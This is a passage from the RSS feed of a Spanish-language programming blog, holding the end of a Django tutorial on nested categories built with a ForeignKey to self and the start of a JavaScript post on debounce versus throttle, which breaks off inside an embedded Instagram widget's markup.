vez subcategorías?&lt;/p&gt;&#xA;&lt;p&gt;Imagínate una categoría de películas de terror, con una subcategoría de fantasmas que, a su vez, cuenta con una subcategoría de fantasmas en casa y esta, a su vez, una subcategoría de tipo de final.&lt;/p&gt;&#xA;&lt;p&gt;Pues, añadimos una clase &lt;em&gt;SubSubCategoría&lt;/em&gt; ¿no? Pero&amp;hellip; y si esas SubSubCategorías tienen a su vez subcategorías. ¿Ves a donde intento llegar?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/categories-in-django-using-foreignkey-to-self/images/ProblemaCategoriasDjango.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/categories-in-django-using-foreignkey-to-self/images/ProblemaCategoriasDjango.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del problema de las subcategorías infinitas&#34; width=&#34;1000&#34; height=&#34;850&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Cada vez que necesites crear una subcategoría nueva tendrás que crear un nuevo modelo en el archivo &lt;em&gt;models.py&lt;/em&gt; de tu aplicación. Y no solo eso, sino una nueva tabla que probablemente solo cuente con unos cuantos registros. ¿Existe una aproximación mejor al problema? El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;versátil ORM del Django Framework&lt;/a&gt;&#xA; nos ofrece una solución bastante limpia.&lt;/p&gt;&#xA;&lt;h2 id=&#34;foreignkey-al-mismo-modelo-en-django&#34;&gt;ForeignKey al mismo modelo en Django&lt;/h2&gt;&#xA;&lt;p&gt;Para simplificar el problema de las categorías en Django, creamos &lt;strong&gt;un solo modelo, con una propiedad de tipo &lt;em&gt;ForeignKey&lt;/em&gt; o llave foránea que apunte al mismo objeto; es decir, a &lt;em&gt;self&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Category&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    parent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;self&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;subcategories&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        null&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De esta manera tendremos una estructura similar a un grafo, donde cada nodo apunta hacía a otro.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/categories-in-django-using-foreignkey-to-self/images/ForeignKeyASelfEsquemaDjango.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/categories-in-django-using-foreignkey-to-self/images/ForeignKeyASelfEsquemaDjango.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del funcionamiento de ForeignKey hacía self(el mismo modelo) en Django.&#34; width=&#34;1000&#34; height=&#34;850&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Este nuevo acomodo nos permite crear tantas subcategorías como querramos, sin la necesidad de crear nuevos modelos. Para ello, simplemente asignamos la propiedad &lt;em&gt;parent&lt;/em&gt; a la instancia de clase &lt;em&gt;Category&lt;/em&gt; a la que querramos que pertenezca.&lt;/p&gt;&#xA;&lt;h3 id=&#34;accediendo-al-mismo-modelo-en-django&#34;&gt;Accediendo al mismo modelo en Django&lt;/h3&gt;&#xA;&lt;p&gt;Mira como funciona el &lt;em&gt;ForeignKey&lt;/em&gt; hacía &lt;em&gt;self&lt;/em&gt; en la práctica:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; my_app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Category&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;categoria_padre &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Category&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lenguajes de Programacion&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategoria &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Category&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Python&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategoria&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; categoria_padre&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Guardamos en la base de datos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subcategoria&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Te explico lo que sucede. Primero creamos una categoría principal, y una subcategoría. Posteriormente, asignamos la propiedad &lt;em&gt;parent,&lt;/em&gt; de esta última, a la categoría principal. Y listo, guardamos.&lt;/p&gt;&#xA;&lt;p&gt;Para finalizar, creemos una subsubcategoría para nuestra subcategoría&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategoria &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Category&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Django&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategoria&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; subcategoria&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategoria&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como hemos creado otra subsubcategoría (llamada Django), que proviene del mismo modelo que usamos en las otras dos. Para asignarla a una categoría, igualamos su propiedad &lt;em&gt;parent&lt;/em&gt; a la subcategoria que habiamos creado (llamada Python).&lt;/p&gt;&#xA;&lt;p&gt;Como ya viste, un solo modelo nos permite agregar tantas subcategorías como querramos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;acceder-a-las-subcategorias&#34;&gt;Acceder a las subcategorías&lt;/h3&gt;&#xA;&lt;p&gt;Si examinamos la categoría padre, que creamos previamente, observaremos que cuenta con una lista de subcategorías, entre las que ya se encuentra nuestro subcategoría (Llamada Python).&lt;/p&gt;&#xA;&lt;p&gt;Podemos acceder a ella como haríamos con cualquier otra relación de muchos a uno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;categoria_padre&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;subcategories&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Category: Category &lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;categoria_padre&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;subcategories&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Python&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ir-de-las-subcategorias-a-las-categorias&#34;&gt;Ir de las subcategorías a las categorías&lt;/h3&gt;&#xA;&lt;p&gt;En cambio, si queremos ir &amp;ldquo;en reversa&amp;rdquo; desde la categoría más anidada, hasta la menos anidada, simplemente la vamos recorriendo; accedemos al padre o parent, y luego al padre o parent de la instancia que sigue y así tantas anidaciones como necesitemos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategoria&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Django&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategoria&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Python&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;subsubcategoria&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;parent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Lenguajes de Programacion&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;otros-recursos&#34;&gt;Otros recursos&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/4.0/ref/models/fields/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Documentación oficial sobre el ForeignKey hacia self&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;La agrupación por categorías es bastante recurrente en aplicaciones web, desde películas, cursos o cualquier otro recurso que presente una relación jerárquica hacía otro objeto. En Django existen diferentes maneras de modelar estas relaciones. Probablemente, la primera que se te vendrá a la mente será crear un objeto &lt;em&gt;categoria&lt;/em&gt;, y luego relacionarlo por medio de una &lt;em&gt;ForeignKey&lt;/em&gt; con una &lt;em&gt;subcategoria&lt;/em&gt;, pero si haces esto estarías cayendo en un error, existe una mejor manera.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Explicación Interactiva de Debounce y Throttle</title>
      <link>https://coffeebytes.dev/es/javascript/explicacion-interactiva-de-debounce-y-throttle/</link>
      <pubDate>Wed, 23 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/explicacion-interactiva-de-debounce-y-throttle/</guid>
      
      <category>javascript</category>
      
      <category>algorithms</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hagamos una explicación interactiva de debounce vs throttle, donde puedas ver las diferencias entre estos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/&#34;&gt;patrones de diseño&lt;/a&gt;&#xA; de una manera más visual.&lt;/p&gt;&#xA;&lt;p&gt;Debounce y Throttle son usados para limitar la ejecución de funciones, generalmente son utilizados para restringir la cantidad de veces que un evento se dispara: eventos click, scroll, resize u otros. Los patrones no son exclusivos de Javascript; en una entrada anterior te explique como usar throttle para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/throttling-en-nginx/&#34;&gt;limitar la cantidad de requests que recibe el servidor nginx.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Ambos patrones generan una función que recibe un callback y un tiempo de espera o delay.&lt;/p&gt;&#xA;&lt;h2 id=&#34;debounce-vs-throttle-explicacion-interactiva&#34;&gt;Debounce vs Throttle explicación interactiva&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a usar un ejemplo interactivo para ver las diferencias entre Debounce vs Throttle, piensa en una granja virtual, en la que por cada vez que presionemos una tecla se añade un animal al corral, ahora, tenemos dos corrales, uno que funciona con debounce y otro con Throttle.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CcBio3FJPqP&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CcBio3FJPqP&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            